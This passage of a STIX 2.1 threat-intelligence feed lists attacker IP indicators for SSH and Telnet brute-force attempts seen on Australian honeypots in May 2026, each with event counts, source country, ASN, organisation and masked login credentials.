      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T18:15:11.000Z",
      "valid_until": "2026-06-19T18:15:08.000Z"
    },
    {
      "created": "2026-05-18T18:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 248. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): r**t, 3**********4, a***n, a****1, d****n. Passwords observed (masked): 3***********4, 3**********4, *, 1****2, ***.",
      "id": "indicator--8ef4075d-904f-4965-8864-1331f9adbb99",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T18:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '54.38.157.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T18:15:11.000Z",
      "valid_until": "2026-06-19T18:15:08.000Z"
    },
    {
      "created": "2026-05-18T18:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 30722. Organisation(s): Fastweb.",
      "id": "indicator--294bd6ec-5756-4a44-9bfc-186a3cc81b8e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T18:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.80.145.166']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T18:15:11.000Z",
      "valid_until": "2026-06-19T18:15:08.000Z"
    },
    {
      "created": "2026-05-18T19:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 124. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PK. ASN(s): 17557. Organisation(s): Pakistan Telecommunication Company Limited. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): !**********R, 1*******z, 3***********4, 3**********4, T******3.",
      "id": "indicator--f9fa4a18-f894-49d1-8db8-df97da4f3600",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '119.156.28.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T19:15:11.000Z",
      "valid_until": "2026-06-19T19:15:08.000Z"
    },
    {
      "created": "2026-05-18T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 30. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--a2c1fad0-d9eb-4f4f-8470-121fd44c0ce7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '137.59.230.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T19:15:11.000Z",
      "valid_until": "2026-06-19T19:15:08.000Z"
    },
    {
      "created": "2026-05-18T19:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 266. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 41745. Organisation(s): Baykov Ilya Sergeevich. Usernames observed (masked): r**t, 3**********4, c****e. Passwords observed (masked): 3***********4, 3**********4, !**********R, 1**2, 1*******z.",
      "id": "indicator--fd3db5cf-059a-4fdc-bca4-40c7d43b2849",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '138.124.73.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T19:15:11.000Z",
      "valid_until": "2026-06-19T19:15:08.000Z"
    },
    {
      "created": "2026-05-18T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--e3b8ad25-0046-479a-89fc-f40280b3a778",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T19:15:11.000Z",
      "valid_until": "2026-06-19T19:15:08.000Z"
    },
    {
      "created": "2026-05-18T19:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 60729. Organisation(s): Stiftung Erneuerbare Freiheit. Usernames observed (masked): f*********r. Passwords observed (masked): m*********y.",
      "id": "indicator--91c659bd-0252-46cd-9503-e605706cc6aa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.220.101.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T19:15:11.000Z",
      "valid_until": "2026-06-19T19:15:08.000Z"
    },
    {
      "created": "2026-05-18T19:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AE. Usernames observed (masked): a***n, u**t. Passwords observed (masked): a***n, u**t.",
      "id": "indicator--f8a9cf90-ca13-4103-a0f5-a30e5ffefb8a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '31.59.44.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T19:15:11.000Z",
      "valid_until": "2026-06-19T19:15:08.000Z"
    },
    {
      "created": "2026-05-18T19:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 324. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 151858. Organisation(s): INTERDIGI JOINT STOCK COMPANY. Usernames observed (masked): r**t, 3**********4, c****e. Passwords observed (masked): 3***********4, 3**********4, 1******2, 1*******!, P*******w.",
      "id": "indicator--206d105e-0b21-4891-9136-4e15695f8113",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '36.50.176.144']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T19:15:11.000Z",
      "valid_until": "2026-06-19T19:15:08.000Z"
    },
    {
      "created": "2026-05-18T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: OM. ASN(s): 28885. Organisation(s): Oman Telecommunications Company (S.A.O.G).",
      "id": "indicator--396beb37-dded-4e2d-a2cd-794be963f209",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '5.37.217.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T19:15:11.000Z",
      "valid_until": "2026-06-19T19:15:08.000Z"
    },
    {
      "created": "2026-05-18T19:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 260. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 20115. Organisation(s): Charter Communications LLC. Usernames observed (masked): r**t, 3**********4, c****e. Passwords observed (masked): 3***********4, 3**********4, 1******2, 1*******!, P*******w.",
      "id": "indicator--51a78c6c-8db9-4ebb-982e-e0205eeb7e06",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '71.80.194.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T19:15:11.000Z",
      "valid_until": "2026-06-19T19:15:08.000Z"
    },
    {
      "created": "2026-05-18T19:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 327. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 12389. Organisation(s): Rostelecom. Usernames observed (masked): r**t, 3**********4, c****e. Passwords observed (masked): 3***********4, 3**********4, 1******2, 1*******!, P*******w.",
      "id": "indicator--40cba177-dadb-408b-affe-821ab4dab73a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '87.226.190.225']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T19:15:11.000Z",
      "valid_until": "2026-06-19T19:15:08.000Z"
    },
    {
      "created": "2026-05-18T20:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 23888. Organisation(s): National Telecommunication Corporation HQ.",
      "id": "indicator--5cbad0f6-dcc2-4f24-83c3-877bd7f550b5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T20:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '175.107.1.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T20:15:11.000Z",
      "valid_until": "2026-06-19T20:15:08.000Z"
    },
    {
      "created": "2026-05-18T20:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 271855. Organisation(s): MANGO NETWORK, C. A. MANGONET, C. A.",
      "id": "indicator--0f28aa01-811e-439e-afdb-fe700c922b7c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T20:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.191.225.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T20:15:11.000Z",
      "valid_until": "2026-06-19T20:15:08.000Z"
    },
    {
      "created": "2026-05-18T21:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 264761. Organisation(s): ERGON CABLE S.R.L.",
      "id": "indicator--e164169b-fab6-4fb0-befb-13edc0996233",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '168.195.184.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T21:15:10.000Z",
      "valid_until": "2026-06-19T21:15:08.000Z"
    },
    {
      "created": "2026-05-18T21:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--7d49620e-e4a7-4b86-a0c6-62495daa3123",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '18.97.19.250']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T21:15:10.000Z",
      "valid_until": "2026-06-19T21:15:08.000Z"
    },
    {
      "created": "2026-05-18T21:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22, 443. Source country: NL. ASN(s): 215125. Organisation(s): Church of Cyberology.",
      "id": "indicator--9b0c38bc-65a7-4587-9f50-546e5c3d0184",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '192.42.116.96']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T21:15:10.000Z",
      "valid_until": "2026-06-19T21:15:08.000Z"
    },
    {
      "created": "2026-05-18T21:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 95. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BG. ASN(s): 48090. Organisation(s): Techoff Srv Limited. Usernames observed (masked): ***, u****u, v*******r, n**e, s****a. Passwords observed (masked): s****a, ***, 1**4, 1******r, 1******r.",
      "id": "indicator--602664ce-b1e4-420a-89e1-b6352467cebe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '195.178.110.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T21:15:10.000Z",
      "valid_until": "2026-06-19T21:15:08.000Z"
    },
    {
      "created": "2026-05-18T21:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 148. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1*******8, 3***********4, 3**********4, P**********8, P******d.",
      "id": "indicator--5d6d3243-5bb5-43e8-a08e-16fba1ac798a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.130.29.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T21:15:10.000Z",
      "valid_until": "2026-06-19T21:15:08.000Z"
    },
    {
      "created": "2026-05-18T21:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 9. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t. Passwords observed (masked): m********4.",
      "id": "indicator--8945dbbd-ab2c-43e9-a1d1-ee0f0a24dcd1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '61.76.136.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T21:15:10.000Z",
      "valid_until": "2026-06-19T21:15:08.000Z"
    },
    {
      "created": "2026-05-18T21:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 63949. Organisation(s): Akamai Connected Cloud.",
      "id": "indicator--ee8e6bce-8b50-4cee-bbd5-cbf3156165e9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.228.53.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T21:15:10.000Z",
      "valid_until": "2026-06-19T21:15:08.000Z"
    },
    {
      "created": "2026-05-18T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--02e213f2-043f-43fa-94de-0a3d002b8fec",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '1.34.107.219']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T22:15:11.000Z",
      "valid_until": "2026-06-19T22:15:08.000Z"
    },
    {
      "created": "2026-05-18T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 4780. Organisation(s): Digital United Inc..",
      "id": "indicator--505a3685-58d5-4815-b397-a93e9471ebd1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '106.104.162.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T22:15:11.000Z",
      "valid_until": "2026-06-19T22:15:08.000Z"
    },
    {
      "created": "2026-05-18T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--75359782-89f7-4201-8f3a-ff690d4aa8a8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '106.35.198.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T22:15:11.000Z",
      "valid_until": "2026-06-19T22:15:08.000Z"
    },
    {
      "created": "2026-05-18T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--78a72ea0-e78c-4d5c-a103-09a8b1cc04f1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '106.40.136.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T22:15:11.000Z",
      "valid_until": "2026-06-19T22:15:08.000Z"
    },
    {
      "created": "2026-05-18T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--8e77727a-8eda-444b-9003-d815aaefdae8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '106.58.151.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T22:15:11.000Z",
      "valid_until": "2026-06-19T22:15:08.000Z"
    },
    {
      "created": "2026-05-18T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--cc7f2de4-20ca-41f2-8fd7-179827e960b6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '112.81.52.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T22:15:11.000Z",
      "valid_until": "2026-06-19T22:15:08.000Z"
    },
    {
      "created": "2026-05-18T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--7cf35a03-f4fa-41b4-bc27-0bd774b2a614",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '113.221.25.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T22:15:11.000Z",
      "valid_until": "2026-06-19T22:15:08.000Z"
    },
    {
      "created": "2026-05-18T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--b58d4631-efea-4faa-951a-a76978d61414",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '114.138.104.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T22:15:11.000Z",
      "valid_until": "2026-06-19T22:15:08.000Z"
    },
    {
      "created": "2026-05-18T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--c5457853-c4d7-4c2c-bd6d-23d45eeaa6b5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '116.208.14.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T22:15:11.000Z",
      "valid_until": "2026-06-19T22:15:08.000Z"
    },
    {
      "created": "2026-05-18T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--9d329f70-6c15-4de6-b7d5-49d39658fce8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '119.100.111.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T22:15:11.000Z",
      "valid_until": "2026-06-19T22:15:08.000Z"
    },
    {
      "created": "2026-05-18T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 137266. Organisation(s): CHINATELECOM Hubei province Wuhan 5G network.",
      "id": "indicator--49b9528f-0ad7-4c1d-9c6e-6275f77566ca",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '119.98.97.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T22:15:11.000Z",
      "valid_until": "2026-06-19T22:15:08.000Z"
    },
    {
      "created": "2026-05-18T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--9059c017-4926-45b5-8510-041a386d4abd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '119.99.252.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T22:15:11.000Z",
      "valid_until": "2026-06-19T22:15:08.000Z"
    },
    {
      "created": "2026-05-18T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 132199. Organisation(s): Globe Telecom Inc..",
      "id": "indicator--2c09ee82-dcc2-487f-849b-2a76da4390ce",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '120.28.214.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T22:15:11.000Z",
      "valid_until": "2026-06-19T22:15:08.000Z"
    },
    {
      "created": "2026-05-18T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 132199. Organisation(s): Globe Telecom Inc..",
      "id": "indicator--7220c126-5e21-4715-a71d-aa06fe7a5bd6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '120.28.215.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T22:15:11.000Z",
      "valid_until": "2026-06-19T22:15:08.000Z"
    },
    {
      "created": "2026-05-18T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 9. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 132199. Organisation(s): Globe Telecom Inc..",
